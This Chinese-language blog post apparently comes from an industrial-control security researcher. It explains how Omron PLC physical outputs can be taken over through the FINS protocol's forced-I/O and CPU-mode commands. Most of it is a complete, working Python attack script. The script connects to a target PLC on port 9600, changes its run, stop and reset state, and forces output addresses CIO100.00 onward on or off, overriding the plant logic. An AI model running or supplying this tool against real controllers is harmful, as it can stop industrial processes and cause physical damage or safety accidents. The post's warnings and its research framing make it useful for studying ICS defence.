使用FINS协议攻击欧姆龙(Omron)PLC的物理(I/O)输出

提到对PLC的攻击往往除了PLC设备本身存在的缺陷和漏洞外,要实现对PLC内运行的逻辑在特定环境下达到特定的攻击演示效果,往往可以使用PLC支持的一些内部功能实现,这些功能可以通过PLC支持的通信协议完成构造并实现远程利用。
在今年的Kcon会场外设置的工控Hack的环节,我当时便设计了3种针对西门子S7-300 PLC内部逻辑程序或变量进行修改,从而达到特定目的和攻击效果的黑盒测试(总结),而本文则主要介绍了针对欧姆龙(Omron)PLC的一种黑盒攻击方式。

什么是PLC的I/O?

I/O即input和output的简写, PLC作为一种可编程的工业嵌入式计算机,它控制了大量的自动化生产过程,要实现对过程的控制,简单来说是用户通过编程对输入输出(I/O)模块信号的采集与控制实现的。PLC一般具有高度模块化,PLC可以非常方便的对I/O等卡件进行更换或增加。

omron_plc

欧姆龙FINS协议介绍

FINS协议是计算机与欧姆龙系列PLC之间进行通信的一种通信协议,FINS协议默认使用的以太网端口为9600,FINS协议可以以UDP或TCP模式运行,曾经我也对欧姆龙的FINS协议在公网的运行情况做过详细统计,协议的具体构造方式和命令字可以参照欧姆龙FINS命令手册

欧姆龙PLC的工作状态介绍

常见的欧姆龙PLC具有3种工作状态,即运行模式(RUN)、监视模式(MONITOR)、编程模式(PROGRAM)。
运行模式(RUN):PLC内用户的逻辑程序正常运行,并且不能对PLC进行置位和强制写入内存操作。
监视模式(MONITOR):PLC内用户的逻辑程序正常运行,可以置位和强制写入,也可以对I/O点和辅助继电器进行操作。可以在线修改程序。
编程模式(PROGRAM):PLC内用户的逻辑程序不运行。可以对内存进行清零(格式化)操作。经过测试强制写入依然生效,依然可以在编程模式下强制激活物理I/O输出端子。

plc_run

使用强制I/O实现对物理输出端子的控制

在各个厂家的PLC中往往拥有一个强制I/O的功能,主要用于方便进行工程调试,所谓强制就是脱离用户逻辑程序的控制,强制设置后的内存变量将不会受用户的程序影响,强制状态不取消的情况下,变量值将保持不变。甚至有些厂家的PLC即使重新上电后强制值如果不手动取消,强制值依然不会丢失。强制功能在众多厂商的用户手册当中都被定义为注意操作事项,如果在实际环境中操作不当将会容易产生事故。
如下图,为定时输出给一个线圈开状态的简单程序,即时当前还处于定时器的运行过程中,使用强制功能也可以给出ON信号,将不会受程序影响。

loop_led

实现一个攻击测试程序

根据欧姆龙PLC对物理I/O端子的地址定义,如下图。

output_cio100

为某型号开关量输出模块接线图和默认物理端子输出地址,那么可以使用FINS协议的命令集构建切换PLC CPU到监视模式的请求报文,然后批量或循环强制写内存变量CIO100.00到一定范围的测试用例。这样就可以轻松达到针对物理输出的远程控制。如下图,为由强制开,接管流水灯逻辑,原逻辑虽然运行但是物理输出依然为原强制的状态,欧姆龙PLC CPU自带的开关量输出端子全部被置ON激活。
testting1 testting2

测试代码

注意!!! 不要运行在真实和在线的控制系统!!!这将导致系统停机和异常!!!

OmronPLC-IO-Attacker

import sys, socket, binascii, time, re
#
# ICS Security Workspace(plcscan.org)
# Author:Z-0ne
# Warning:will affect the real plc system operation!!!
#
# Func:Forced set CIO data and Control CPU
#
def send_receive(s,size,strdata):
    senddata = binascii.unhexlify(strdata)
    s.send(senddata)
    try:
        resp = s.recv(1024)
        return resp
    except socket.timeout:
        print 'send commad but no respone'
    except socket.error:
        print 'err'
def validata(ip):
    ipdata = re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', ip)
    if not ipdata:
        return False
    return True
def initconnect(s):
    init_address = send_receive(s,1024,'46494e530000000c000000000000000000000000')
    if len(init_address) > 23: 
        address_code = binascii.b2a_hex(init_address[23])
    else:
        print 'len err'
    getinfo = send_receive(s,1024,'46494e5300000015000000020000000080000200' + address_code + '000000ef05050100')
    print "Controller Model:" + getinfo[30:67]
def run_plc_cpu(s):
    send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670401ffff')
def run_monitor_cpu(s):
    send_receive(s,1024,'46494e53000000160000000200000000c0000200fb00000000a604010000')
def stop_plc_cpu(s):
    send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670402ffff')
def reset_plc_cpu(s):
    send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670403ffff')
def loop_forced_set(s,iostate):
    if iostate == 'on':
        coil_state_code = '01'
        print 'Forced set on'
    elif iostate == 'off':
        coil_state_code = '00'
        print 'Forced set off'
    else:
        print 'Forced set on'
        coil_state_code = '01'
        #(to forced set CIO default physical output address(start at 100.00)
    for i in range(int(0),int(101)):
        print 'set default physical output at CIO out 100.%s' %(i)
        send_receive(s,1024,'46494e530000001c000000020000000080000700000000fb007e2301000100' + coil_state_code + '3000' + '64' + "%02x"%(i))
def cancel_forced_set(s):
    send_receive(s,1024,'46494e5300000014000000020000000080000700000000fb00722302')
raw_input('Warning:will affect the real system operation!!!Enter to continue!!!')
if not len(sys.argv) == 2:
    ip = raw_input('Target PLC IP:')
else:
    ip = sys.argv[1]
if not validata(ip):
    print 'err'
    sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# no respone timeout
s.settimeout(3)
s.connect((ip,9600))
print 'connect to the plc device.....'
print 'start read device information.....'
initconnect(s)
while True:
    func = raw_input('Func(run/monitor/stop/reset/quit):')
    iostate = raw_input('Set Forced State(on/off/cancel/quit):')
    if func == 'run':
        run_plc_cpu(s)
    elif func == 'monitor':
        run_monitor_cpu(s)
    elif func == 'stop':
        stop_plc_cpu(s)
    elif func == 'reset':
        reset_plc_cpu(s)
    elif func == 'quit':
        print 'input func'
    else:
        print 'input err1'
    if iostate == 'on':
        loop_forced_set(s,iostate)
    elif iostate == 'off':
        loop_forced_set(s,iostate)
    elif iostate == 'cancel':
        cancel_forced_set(s)
    elif iostate == 'quit':
        print 'input state'
    else:
        'input err2'
    if raw_input('exit:') == 'exit':
        s.close()
        break

欧姆龙PLC流水灯程序样例下载

loop led project(CX-Programmer V9.60)

About Z-0ne

Leave a Reply

Your email address will not be published. Required fields are marked *